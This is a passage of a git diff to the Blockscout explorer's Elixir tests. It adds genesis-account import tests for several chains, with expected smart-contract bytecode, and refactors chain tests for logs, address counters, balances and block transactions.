0190fd5b61058261154e565b6000610b5d6114fb565b905090565b60055460009081908190819081906001600160a01b0316801580610c27575060408051630d629b5f60e31b815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f909101601f1916909201965060209550909350505081840390508186803b158015610bfa57600080fd5b505afa158015610c0e573d6000803e3d6000fd5b505050506040513d6020811015610c2457600080fd5b50515b610c64576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b6002546001600160a01b0316610caf576040805162461bcd60e51b815260206004820152601e6024820152600080516020611b2c833981519152604482015290519081900360640190fd5b610cb76115a1565b95509550955095509550509091929394565b610cd233611697565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b60055460009081908190819081906001600160a01b0316801580610db9575060408051630d629b5f60e31b815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f909101601f1916909201965060209550909350505081840390508186803b158015610d8c57600080fd5b505afa158015610da0573d6000803e3d6000fd5b505050506040513d6020811015610db657600080fd5b50515b610df6576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b61073b87611700565b610e0833611697565b6002546001600160a01b03828116911614610e68576040805162461bcd60e51b815260206004820152601b60248201527a24b73b30b634b210383937b837b9b2b21030b3b3b932b3b0ba37b960291b604482015290519081900360640190fd5b600454600280546001600160a01b03191690556201000090046001600160a01b0316610e93826117f9565b816001600160a01b0316816001600160a01b03167f33745f67a407dcb785417f9c123dd3641479a102674b6e35c1f10975625b90e960405160405180910390a35050565b6005546000906001600160a01b0316801580610f94575060408051630d629b5f60e31b815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f909101601f1916909201965060209550909350505081840390508186803b158015610f6757600080fd5b505afa158015610f7b573d6000803e3d6000fd5b505050506040513d6020811015610f9157600080fd5b50515b610fd1576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b610fda83611868565b9392505050565b6005546000906001600160a01b031680158061109e575060408051630d629b5f60e31b815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f909101601f1916909201965060209550909350505081840390508186803b15801561107157600080fd5b505afa158015611085573d6000803e3d6000fd5b505050506040513d602081101561109b57600080fd5b50515b6110db576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b610fda83611942565b6005546001600160a01b031681565b61ffff81166000908152600360205260409020546001600160a01b03165b919050565b6002546001600160a01b031690565b61112e33611697565b6111378161152c565b806001600160a01b03166111496114fb565b6001600160a01b03167fed8889f560326eb138920d842192f0eb3dd22b4f139c87a2c57538e05bae127860405160405180910390a350565b61118a33611697565b600280546001600160a01b0319166001600160a01b0383811691821790925560045460405191926201000090910416907fc0f151710f03d713b71d9970cee0d5b11ddc9a7552abaa3f6ee818010f21600d90600090a350565b60055460009081908190819081906001600160a01b03168015806112a8575060408051630d629b5f60e31b815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f909101601f1916909201965060209550909350505081840390508186803b15801561127b57600080fd5b505afa15801561128f573d6000803e3d6000fd5b505050506040513d60208110156112a557600080fd5b50515b6112e5576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b610cb76119e7565b6000600460000160029054906101000a90046001600160a01b03166001600160a01b03166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561044f57600080fd5b60025460009081908190819081906001600160a01b0316611396576040805162461bcd60e51b815260206004820152601e6024820152600080516020611b2c833981519152604482015290519081900360640190fd5b60025460408051639a6fc8f560e01b81526001600160501b038916600482015290516001600160a01b0390921691639a6fc8f59160248082019260a092909190829003018186803b1580156113ea57600080fd5b505afa1580156113fe573d6000803e3d6000fd5b505050506040513d60a081101561141457600080fd5b508051602082015160408301516060840151608090940151929a91995097509195509350915050565b6000611447611b14565b506040805180820182526004805461ffff8116808452620100009091046001600160a01b031660208085018290528551633345078160e11b8152955194956114dd959394929363668a0f02938281019392829003018186803b1580156114ac57600080fd5b505afa1580156114c0573d6000803e3d6000fd5b505050506040513d60208110156114d657600080fd5b5051611abc565b6001600160501b031691505090565b6001546001600160a01b031690565b6000546001600160a01b031690565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000600460000160029054906101000a90046001600160a01b03166001600160a01b0316638205bf6a6040518163ffffffff1660e01b815260040160206040518083038186803b15801561044f57600080fd5b60025460009081908190819081906001600160a01b03166115f7576040805162461bcd60e51b815260206004820152601e6024820152600080516020611b2c833981519152604482015290519081900360640190fd5b600260009054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b15801561164557600080fd5b505afa158015611659573d6000803e3d6000fd5b505050506040513d60a081101561166f57600080fd5b5080516020820151604083015160608401516080909401519299919850965091945092509050565b61169f6114fb565b6001600160a01b0316816001600160a01b0316146116fd576040805162461bcd60e51b815260206004820152601660248201527527b7363c9031b0b63630b1363290313c9037bbb732b960511b604482015290519081900360640190fd5b50565b600080600080600080600061171d886001600160501b0316611ad6565b61ffff821660009081526003602052604090819020548151639a6fc8f560e01b81526001600160401b038416600482015291519395509193506001600160a01b0390911691639a6fc8f59160248082019260a092909190829003018186803b15801561178857600080fd5b505afa15801561179c573d6000803e3d6000fd5b505050506040513d60a08110156117b257600080fd5b508051602082015160408301516060840151608090940151929a50909850965090945092506117e5878787878787611ade565b939c929b5090995097509095509350505050565b60048054604080518082018252600161ffff80851691909101168082526001600160a01b0395909516602091820181905261ffff19909316851762010000600160b01b0319166201000084021790935560009384526003909252912080546001600160a01b0319169091179055565b60006001600160501b0382111561188157506000611111565b60008061188d84611ad6565b61ffff821660009081526003602052604090205491935091506001600160a01b0316806118c05760009350505050611111565b806001600160a01b031663b5ab58dc836040518263ffffffff1660e01b815260040180826001600160401b0316815260200191505060206040518083038186803b15801561190d57600080fd5b505afa158015611921573d6000803e3d6000fd5b505050506040513d602081101561193757600080fd5b505195945050505050565b60006001600160501b0382111561195b57506000611111565b60008061196784611ad6565b61ffff821660009081526003602052604090205491935091506001600160a01b03168061199a5760009350505050611111565b806001600160a01b031663b633620c836040518263ffffffff1660e01b815260040180826001600160401b0316815260200191505060206040518083038186803b15801561190d57600080fd5b60008060008060006119f7611b14565b506040805180820182526004805461ffff811683526201000090046001600160a01b0316602083018190528351633fabe5a360e21b815293519293909263feaf968c928281019260a0929190829003018186803b158015611a5757600080fd5b505afa158015611a6b573d6000803e3d6000fd5b505050506040513d60a0811015611a8157600080fd5b5080516020820151604083015160608401516080909401518551939a509198509650919450909250610cb79087908790879087908790611ade565b6001600160401b031660409190911b61ffff60401b161790565b604081901c91565b6000806000806000611af0868c611abc565b8a8a8a611afd8a8c611abc565b939f929e50909c509a509098509650505050505050565b60408051808201909152600080825260208201529056fe4e6f2070726f706f7365642061676772656761746f722070726573656e740000a2646970667358221220e01c79ee01ff8ee5600a342cb2ed15231329d7f3f090fbe7605e1dc18906a86964736f6c634300060c0033" + } == + List.first(coin_balances) + end + + test "parses zkatana coin balance and contract code" do + coin_balances = Importer.genesis_accounts(@zkatana_genesis) + + assert Enum.count(coin_balances) == 9 + + assert %{ + address_hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: <<208, 60, 26, 156, 47, 226, 198, 243, 146, 124, 57, 138, 144, 39, 47, 233, 91, 211, 205, 175>> + }, + value: 0, + contract_code: + "0x60806040526004361061006e575f3560e01c8063715018a61161004c578063715018a6146100e25780638da5cb5b146100f6578063e11ae6cb1461011f578063f2fde38b14610132575f80fd5b80632b79805a146100725780634a94d487146100875780636d07dbf81461009a575b5f80fd5b610085610080366004610908565b610151565b005b6100856100953660046109a2565b6101c2565b3480156100a5575f80fd5b506100b96100b43660046109f5565b610203565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b3480156100ed575f80fd5b50610085610215565b348015610101575f80fd5b505f5473ffffffffffffffffffffffffffffffffffffffff166100b9565b61008561012d366004610a15565b610228565b34801561013d575f80fd5b5061008561014c366004610a61565b61028e565b61015961034a565b5f6101658585856103ca565b90506101718183610527565b5060405173ffffffffffffffffffffffffffffffffffffffff821681527fba82f25fed02cd2a23d9f5d11c2ef588d22af5437cbf23bfe61d87257c480e4c9060200160405180910390a15050505050565b6101ca61034a565b6101d583838361056a565b506040517f25adb19089b6a549831a273acdf7908cff8b7ee5f551f8d1d37996cf01c5df5b905f90a1505050565b5f61020e8383610598565b9392505050565b61021d61034a565b6102265f6105a4565b565b61023061034a565b5f61023c8484846103ca565b60405173ffffffffffffffffffffffffffffffffffffffff821681529091507fba82f25fed02cd2a23d9f5d11c2ef588d22af5437cbf23bfe61d87257c480e4c9060200160405180910390a150505050565b61029661034a565b73ffffffffffffffffffffffffffffffffffffffff811661033e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610347816105a4565b50565b5f5473ffffffffffffffffffffffffffffffffffffffff163314610226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610335565b5f83471015610435576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f437265617465323a20696e73756666696369656e742062616c616e63650000006044820152606401610335565b81515f0361049f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f437265617465323a2062797465636f6465206c656e677468206973207a65726f6044820152606401610335565b8282516020840186f5905073ffffffffffffffffffffffffffffffffffffffff811661020e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f437265617465323a204661696c6564206f6e206465706c6f79000000000000006044820152606401610335565b606061020e83835f6040518060400160405280601e81526020017f416464726573733a206c6f772d6c6576656c2063616c6c206661696c65640000815250610618565b6060610590848484604051806060016040528060298152602001610b0860299139610618565b949350505050565b5f61020e83833061072d565b5f805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6060824710156106aa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c00000000000000000000000000000000000000000000000000006064820152608401610335565b5f808673ffffffffffffffffffffffffffffffffffffffff1685876040516106d29190610a9c565b5f6040518083038185875af1925050503d805f811461070c576040519150601f19603f3d011682016040523d82523d5f602084013e610711565b606091505b509150915061072287838387610756565b979650505050505050565b5f604051836040820152846020820152828152600b8101905060ff815360559020949350505050565b606083156107eb5782515f036107e45773ffffffffffffffffffffffffffffffffffffffff85163b6107e4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610335565b5081610590565b61059083838151156108005781518083602001fd5b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103359190610ab7565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f82601f830112610870575f80fd5b813567ffffffffffffffff8082111561088b5761088b610834565b604051601f83017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f011681019082821181831017156108d1576108d1610834565b816040528381528660208588010111156108e9575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f805f806080858703121561091b575f80fd5b8435935060208501359250604085013567ffffffffffffffff80821115610940575f80fd5b61094c88838901610861565b93506060870135915080821115610961575f80fd5b5061096e87828801610861565b91505092959194509250565b803573ffffffffffffffffffffffffffffffffffffffff8116811461099d575f80fd5b919050565b5f805f606084860312156109b4575f80fd5b6109bd8461097a565b9250602084013567ffffffffffffffff8111156109d8575f80fd5b6109e486828701610861565b925050604084013590509250925092565b5f8060408385031215610a06575f80fd5b50508035926020909101359150565b5f805f60608486031215610a27575f80fd5b8335925060208401359150604084013567ffffffffffffffff811115610a4b575f80fd5b610a5786828701610861565b9150509250925092565b5f60208284031215610a71575f80fd5b61020e8261097a565b5f5b83811015610a94578181015183820152602001610a7c565b50505f910152565b5f8251610aad818460208701610a7a565b9190910192915050565b602081525f8251806020840152610ad5816040850160208701610a7a565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016919091016040019291505056fe416464726573733a206c6f772d6c6576656c2063616c6c20776974682076616c7565206661696c6564a2646970667358221220330b94dc698c4d290bf55c23f13b473cde6a6bae0030cb902de18af54e35839f64736f6c63430008140033" + } == + List.first(coin_balances) + end end describe "import_genesis_accounts/1" do @@ -43,11 +108,11 @@ defmodule Explorer.ChainSpec.Geth.ImporterTest do |> expect(:json_rpc, fn [ %{id: 0, jsonrpc: "2.0", method: "eth_getBlockByNumber", params: ["0x1", true]} ], - _ -> + _opts -> {:ok, [res]} end) - {:ok, %{address_coin_balances: address_coin_balances}} = Importer.import_genesis_accounts(@genesis) + {:ok, %{address_coin_balances: address_coin_balances}} = Importer.import_genesis_accounts(@geth_genesis) assert Enum.count(address_coin_balances) == 3 assert CoinBalance |> Repo.all() |> Enum.count() == 3 @@ -86,7 +151,7 @@ defmodule Explorer.ChainSpec.Geth.ImporterTest do assert to_string(address.contract_code) == code end - test "imports coin balances without 0x" do + test "imports polygon accounts" do block_quantity = integer_to_quantity(1) res = eth_block_number_fake_response(block_quantity) @@ -94,16 +159,36 @@ defmodule Explorer.ChainSpec.Geth.ImporterTest do |> expect(:json_rpc, fn [ %{id: 0, jsonrpc: "2.0", method: "eth_getBlockByNumber", params: ["0x1", true]} ], - [] -> + _ -> {:ok, [res]} end) - {:ok, %{address_coin_balances: address_coin_balances}} = Importer.import_genesis_accounts(@genesis) + {:ok, %{address_coin_balances: address_coin_balances}} = Importer.import_genesis_accounts(@polygon_genesis) - assert Enum.count(address_coin_balances) == 3 - assert CoinBalance |> Repo.all() |> Enum.count() == 3 - assert CoinBalanceDaily |> Repo.all() |> Enum.count() == 3 - assert Address |> Repo.all() |> Enum.count() == 3 + assert Enum.count(address_coin_balances) == 2 + assert CoinBalance |> Repo.all() |> Enum.count() == 2 + assert CoinBalanceDaily |> Repo.all() |> Enum.count() == 2 + assert Address |> Repo.all() |> Enum.count() == 2 + end + + test "imports optimism accounts" do + block_quantity = integer_to_quantity(1) + res = eth_block_number_fake_response(block_quantity) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{id: 0, jsonrpc: "2.0", method: "eth_getBlockByNumber", params: ["0x1", true]} + ], + _ -> + {:ok, [res]} + end) + + {:ok, %{address_coin_balances: address_coin_balances}} = Importer.import_genesis_accounts(@optimism_genesis) + + assert Enum.count(address_coin_balances) == 2 + assert CoinBalance |> Repo.all() |> Enum.count() == 2 + assert CoinBalanceDaily |> Repo.all() |> Enum.count() == 2 + assert Address |> Repo.all() |> Enum.count() == 2 end end diff --git a/apps/explorer/test/explorer/chain_spec/parity/importer_test.exs b/apps/explorer/test/explorer/chain_spec/parity/importer_test.exs index 103bf1821ca4..24ce1da121b6 100644 --- a/apps/explorer/test/explorer/chain_spec/parity/importer_test.exs +++ b/apps/explorer/test/explorer/chain_spec/parity/importer_test.exs @@ -12,6 +12,8 @@ defmodule Explorer.ChainSpec.Parity.ImporterTest do setup :set_mox_global + setup :verify_on_exit! + @chain_spec "#{File.cwd!()}/test/support/fixture/chain_spec/foundation.json" |> File.read!() |> Jason.decode!() @@ -53,7 +55,7 @@ defmodule Explorer.ChainSpec.Parity.ImporterTest do assert {3, nil} = Importer.import_emission_rewards(@chain_spec) end - test "rewrites all recored" do + test "rewrites all recorded" do old_block_rewards = %{ "0x0" => "0x1bc16d674ec80000", "0x42ae50" => "0x29a2241af62c0000", @@ -106,9 +108,9 @@ defmodule Explorer.ChainSpec.Parity.ImporterTest do assert %{ address_hash: %Hash{ byte_count: 20, - bytes: <<167, 105, 41, 137, 10, 123, 71, 251, 133, 145, 150, 1, 108, 111, 221, 130, 137, 206, 183, 85>> + bytes: <<25, 104, 125, 170, 57, 195, 104, 19, 155, 110, 123, 230, 13, 193, 117, 58, 159, 12, 190, 163>> }, - value: 5_000_000_000_000_000_000_000, + value: 8_000_000_000_000_000_000_000, contract_code: nil, nonce: 0 } == diff --git a/apps/explorer/test/explorer/chain_test.exs b/apps/explorer/test/explorer/chain_test.exs index b64bf7ce41a9..dede80fdfea0 100644 --- a/apps/explorer/test/explorer/chain_test.exs +++ b/apps/explorer/test/explorer/chain_test.exs @@ -15,7 +15,6 @@ defmodule Explorer.ChainTest do Address, Block, Data, - DecompiledSmartContract, Hash, InternalTransaction, Log, @@ -23,17 +22,23 @@ defmodule Explorer.ChainTest do Token, TokenTransfer, Transaction, - SmartContract, Wei } alias Explorer.{Chain, Etherscan} - alias Explorer.Chain.Cache.Transaction, as: TransactionCache + alias Explorer.Chain.Cache.ChainId + alias Explorer.Chain.Cache.Counters.{BlocksCount, TransactionsCount, PendingBlockOperationCount} alias Explorer.Chain.InternalTransaction.Type + alias Explorer.Chain.MultichainSearchDb.{BalancesExportQueue, MainExportQueue} alias Explorer.Chain.Supply.ProofOfAuthority - alias Explorer.Counters.AddressesWithBalanceCounter - alias Explorer.Counters.AddressesCounter + alias Explorer.Chain.Cache.Counters.AddressesCount + + alias Explorer.TestHelper + + @first_topic_hex_string "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef" + @second_topic_hex_string "0x000000000000000000000000e8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca" + @third_topic_hex_string "0x000000000000000000000000515c09c5bba1ed566b02a5b0599ec5d5d0aee73d" doctest Explorer.Chain @@ -44,10 +49,15 @@ defmodule Explorer.ChainTest do describe "remove_nonconsensus_blocks_from_pending_ops/0" do test "removes pending ops for nonconsensus blocks" do block = insert(:block) - insert(:pending_block_operation, block: block, fetch_internal_transactions: true) + insert(:pending_block_operation, block: block, block_number: block.number) nonconsensus_block = insert(:block, consensus: false) - insert(:pending_block_operation, block: nonconsensus_block, fetch_internal_transactions: true) + insert(:pending_block_operation, block: nonconsensus_block, block_number: nonconsensus_block.number) + + config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, Keyword.put(config, :block_traceable?, true)) + + on_exit(fn -> Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, config) end) :ok = Chain.remove_nonconsensus_blocks_from_pending_ops() @@ -57,13 +67,18 @@ defmodule Explorer.ChainTest do test "removes pending ops for nonconsensus blocks by block hashes" do block = insert(:block) - insert(:pending_block_operation, block: block, fetch_internal_transactions: true) + insert(:pending_block_operation, block: block, block_number: block.number) nonconsensus_block = insert(:block, consensus: false) - insert(:pending_block_operation, block: nonconsensus_block, fetch_internal_transactions: true) + insert(:pending_block_operation, block: nonconsensus_block, block_number: nonconsensus_block.number) nonconsensus_block1 = insert(:block, consensus: false) - insert(:pending_block_operation, block: nonconsensus_block1, fetch_internal_transactions: true) + insert(:pending_block_operation, block: nonconsensus_block1, block_number: nonconsensus_block1.number) + + config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, Keyword.put(config, :block_traceable?, true)) + + on_exit(fn -> Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, config) end) :ok = Chain.remove_nonconsensus_blocks_from_pending_ops([nonconsensus_block1.hash]) @@ -73,179 +88,24 @@ defmodule Explorer.ChainTest do end end - describe "count_addresses_with_balance_from_cache/0" do - test "returns the number of addresses with fetched_coin_balance > 0" do - insert(:address, fetched_coin_balance: 0) - insert(:address, fetched_coin_balance: 1) - insert(:address, fetched_coin_balance: 2) - - start_supervised!(AddressesWithBalanceCounter) - AddressesWithBalanceCounter.consolidate() - - addresses_with_balance = Chain.count_addresses_with_balance_from_cache() - - assert is_integer(addresses_with_balance) - assert addresses_with_balance == 2 - end - end - describe "address_estimated_count/0" do test "returns the number of all addresses" do insert(:address, fetched_coin_balance: 0) insert(:address, fetched_coin_balance: 1) insert(:address, fetched_coin_balance: 2) - start_supervised!(AddressesCounter) - AddressesCounter.consolidate() + start_supervised!(AddressesCount) + AddressesCount.consolidate() - addresses_with_balance = Chain.address_estimated_count() + addresses_with_balance = AddressesCount.fetch() assert is_integer(addresses_with_balance) assert addresses_with_balance == 3 end - end - - describe "last_db_block_status/0" do - test "return no_blocks errors if db is empty" do - assert {:error, :no_blocks} = Chain.last_db_block_status() - end - - test "returns {:ok, last_block_period} if block is in healthy period" do - insert(:block, consensus: true) - - assert {:ok, _, _} = Chain.last_db_block_status() - end - - test "return {:ok, last_block_period} if block is not in healthy period" do - insert(:block, consensus: true, timestamp: Timex.shift(DateTime.utc_now(), hours: -50)) - - assert {:error, _, _} = Chain.last_db_block_status() - end - end - - describe "last_cache_block_status/0" do - test "returns success if cache is not stale" do - insert(:block, consensus: true) - - assert {:ok, _, _} = Chain.last_cache_block_status() - end - - test "return error if cache is stale" do - insert(:block, consensus: true, timestamp: Timex.shift(DateTime.utc_now(), hours: -50)) - - assert {:error, _, _} = Chain.last_cache_block_status() - end - end - - describe "ERC721_token_instance_from_token_id_and_token_address/2" do - test "return ERC721 token instance" do - contract_address = insert(:address) - - token_id = 10 - - insert(:token_transfer, - from_address: contract_address, - token_contract_address: contract_address, - token_id: token_id - ) - - assert {:ok, result} = - Chain.erc721_token_instance_from_token_id_and_token_address(token_id, contract_address.hash) - - assert result.token_id == Decimal.new(token_id) - end - end - - describe "upsert_token_instance/1" do - test "insert a new token instance with valid params" do - token = insert(:token) - - params = %{ - token_id: 1, - token_contract_address_hash: token.contract_address_hash, - metadata: %{uri: "http://example.com"} - } - - {:ok, result} = Chain.upsert_token_instance(params) - - assert result.token_id == Decimal.new(1) - assert result.metadata == params.metadata - assert result.token_contract_address_hash == token.contract_address_hash - end - - test "replaces existing token instance record" do - token = insert(:token) - - params = %{ - token_id: 1, - token_contract_address_hash: token.contract_address_hash, - metadata: %{uri: "http://example.com"} - } - - {:ok, _} = Chain.upsert_token_instance(params) - - params1 = %{ - token_id: 1, - token_contract_address_hash: token.contract_address_hash, - metadata: %{uri: "http://example1.com"} - } - - {:ok, result} = Chain.upsert_token_instance(params1) - - assert result.token_id == Decimal.new(1) - assert result.metadata == params1.metadata - assert result.token_contract_address_hash == token.contract_address_hash - end - - test "fails to import with invalid params" do - params = %{ - token_id: 1, - metadata: %{uri: "http://example.com"} - } - - {:error, - %{ - errors: [ - token_contract_address_hash: {"can't be blank", [validation: :required]} - ], - valid?: false - }} = Chain.upsert_token_instance(params) - end - - test "inserts just an error without metadata" do - token = insert(:token) - error = "no uri" - - params = %{ - token_id: 1, - token_contract_address_hash: token.contract_address_hash, - error: error - } - - {:ok, result} = Chain.upsert_token_instance(params) - - assert result.error == error - end - - test "nillifies error" do - token = insert(:token) - insert(:token_instance, - token_id: 1, - token_contract_address_hash: token.contract_address_hash, - error: "no uri" - ) - - params = %{ - token_id: 1, - token_contract_address_hash: token.contract_address_hash, - metadata: %{uri: "http://example1.com"} - } - - {:ok, result} = Chain.upsert_token_instance(params) - - assert is_nil(result.error) - assert result.metadata == params.metadata + test "returns 0 on empty table" do + start_supervised!(AddressesCount) + assert 0 == AddressesCount.fetch() end end @@ -279,7 +139,7 @@ defmodule Explorer.ChainTest do address: address ) - assert Enum.count(Chain.address_to_logs(address_hash)) == 2 + assert Enum.count(Chain.address_to_logs(address_hash, false)) == 2 end test "paginates logs" do @@ -290,9 +150,7 @@ defmodule Explorer.ChainTest do |> insert(to_address: address) |> with_block() - log1 = insert(:log, transaction: transaction, index: 1, address: address, block_number: transaction.block_number) - - 2..51 + 1..51 |> Enum.map(fn index -> insert(:log, block: transaction.block, @@ -302,15 +160,14 @@ defmodule Explorer.ChainTest do block_number: transaction.block_number ) end) - |> Enum.map(& &1.index) paging_options1 = %PagingOptions{page_size: 1} - [_log] = Chain.address_to_logs(address_hash, paging_options: paging_options1) + [_log] = Chain.address_to_logs(address_hash, false, paging_options: paging_options1) - paging_options2 = %PagingOptions{page_size: 60, key: {transaction.block_number, transaction.index, log1.index}} + paging_options2 = %PagingOptions{page_size: 60, key: {transaction.block_number, 51}} - assert Enum.count(Chain.address_to_logs(address_hash, paging_options: paging_options2)) == 50 + assert Enum.count(Chain.address_to_logs(address_hash, false, paging_options: paging_options2)) == 50 end test "searches logs by topic when the first topic matches" do @@ -329,6 +186,9 @@ defmodule Explorer.ChainTest do block_number: transaction1.block_number ) + first_topic_hex_string = "0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65" + {:ok, first_topic} = Explorer.Chain.Hash.Full.cast(first_topic_hex_string) + transaction2 = :transaction |> insert(from_address: address) @@ -339,11 +199,11 @@ defmodule Explorer.ChainTest do transaction: transaction2, index: 2, address: address, - first_topic: "test", + first_topic: first_topic, block_number: transaction2.block_number ) - [found_log] = Chain.address_to_logs(address_hash, topic: "test") + [found_log] = Chain.address_to_logs(address_hash, false, topic: first_topic_hex_string) assert found_log.transaction.hash == transaction2.hash end @@ -356,13 +216,16 @@ defmodule Explorer.ChainTest do |> insert(to_address: address) |> with_block() + fourth_topic_hex_string = "0x927abf391899d10d331079a63caffa905efa7075a44a7bbd52b190db4c4308fb" + {:ok, fourth_topic} = Explorer.Chain.Hash.Full.cast(fourth_topic_hex_string) + insert(:log, block: transaction1.block, block_number: transaction1.block_number, transaction: transaction1, index: 1, address: address, - fourth_topic: "test" + fourth_topic: fourth_topic ) transaction2 = @@ -378,1177 +241,781 @@ defmodule Explorer.ChainTest do address: address ) - [found_log] = Chain.address_to_logs(address_hash, topic: "test") + [found_log] = Chain.address_to_logs(address_hash, false, topic: fourth_topic_hex_string) assert found_log.transaction.hash == transaction1.hash end end - describe "address_to_transactions_with_rewards/2" do - test "without transactions" do - %Address{hash: address_hash} = insert(:address) - - assert Repo.aggregate(Transaction, :count, :hash) == 0 - - assert [] == Chain.address_to_transactions_with_rewards(address_hash) + describe "balance/2" do + test "with Address.t with :wei" do + assert Chain.balance(%Address{fetched_coin_balance: %Wei{value: Decimal.new(1)}}, :wei) == Decimal.new(1) + assert Chain.balance(%Address{fetched_coin_balance: nil}, :wei) == nil end - test "with from transactions" do - %Address{hash: address_hash} = address = insert(:address) - - transaction = - :transaction - |> insert(from_address: address) - |> with_block() - - assert [transaction] == - Chain.address_to_transactions_with_rewards(address_hash, direction: :from) - |> Repo.preload([:block, :to_address, :from_address]) + test "with Address.t with :gwei" do + assert Chain.balance(%Address{fetched_coin_balance: %Wei{value: Decimal.new(1)}}, :gwei) == Decimal.new("1e-9") + assert Chain.balance(%Address{fetched_coin_balance: %Wei{value: Decimal.new("1e9")}}, :gwei) == Decimal.new(1) + assert Chain.balance(%Address{fetched_coin_balance: nil}, :gwei) == nil end - test "with to transactions" do - %Address{hash: address_hash} = address = insert(:address) - - transaction = - :transaction - |> insert(to_address: address) - |> with_block() - - assert [transaction] == - Chain.address_to_transactions_with_rewards(address_hash, direction: :to) - |> Repo.preload([:block, :to_address, :from_address]) + test "with Address.t with :ether" do + assert Chain.balance(%Address{fetched_coin_balance: %Wei{value: Decimal.new(1)}}, :ether) == Decimal.new("1e-18") + assert Chain.balance(%Address{fetched_coin_balance: %Wei{value: Decimal.new("1e18")}}, :ether) == Decimal.new(1) + assert Chain.balance(%Address{fetched_coin_balance: nil}, :ether) == nil end + end - test "with to and from transactions and direction: :from" do - %Address{hash: address_hash} = address = insert(:address) + describe "block_to_transactions/2" do + test "without transactions" do + block = insert(:block) - transaction = - :transaction - |> insert(from_address: address) - |> with_block() + assert Repo.aggregate(Transaction, :count, :hash) == 0 - # only contains "from" transaction - assert [transaction] == - Chain.address_to_transactions_with_rewards(address_hash, direction: :from) - |> Repo.preload([:block, :to_address, :from_address]) + assert [] = Chain.block_to_transactions(block.hash) end - test "with to and from transactions and direction: :to" do - %Address{hash: address_hash} = address = insert(:address) - - transaction = + test "with transactions" do + %Transaction{block: block, hash: transaction_hash} = :transaction - |> insert(to_address: address) + |> insert() |> with_block() - assert [transaction] == - Chain.address_to_transactions_with_rewards(address_hash, direction: :to) - |> Repo.preload([:block, :to_address, :from_address]) + assert [%Transaction{hash: ^transaction_hash}] = Chain.block_to_transactions(block.hash) end - test "with to and from transactions and no :direction option" do - %Address{hash: address_hash} = address = insert(:address) + test "with transactions can be paginated by {index}" do block = insert(:block) - transaction1 = - :transaction - |> insert(to_address: address) + second_page_hashes = + 50 + |> insert_list(:transaction) |> with_block(block) + |> Enum.map(& &1.hash) - transaction2 = + %Transaction{index: index} = :transaction - |> insert(from_address: address) + |> insert() |> with_block(block) - assert [transaction2, transaction1] == - Chain.address_to_transactions_with_rewards(address_hash) - |> Repo.preload([:block, :to_address, :from_address]) + assert second_page_hashes == + block.hash + |> Chain.block_to_transactions(paging_options: %PagingOptions{key: {block.number, index}, page_size: 50}) + |> Enum.map(& &1.hash) end - test "does not include non-contract-creation parent transactions" do + test "returns transactions with token_transfers preloaded" do + address = insert(:address) + block = insert(:block) + token_contract_address = insert(:contract_address) + token = insert(:token, contract_address: token_contract_address) + transaction = - %Transaction{} = :transaction |> insert() - |> with_block() + |> with_block(block) - %InternalTransaction{created_contract_address: address} = - insert(:internal_transaction_create, - transaction: transaction, - index: 0, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) + insert_list( + 2, + :token_transfer, + 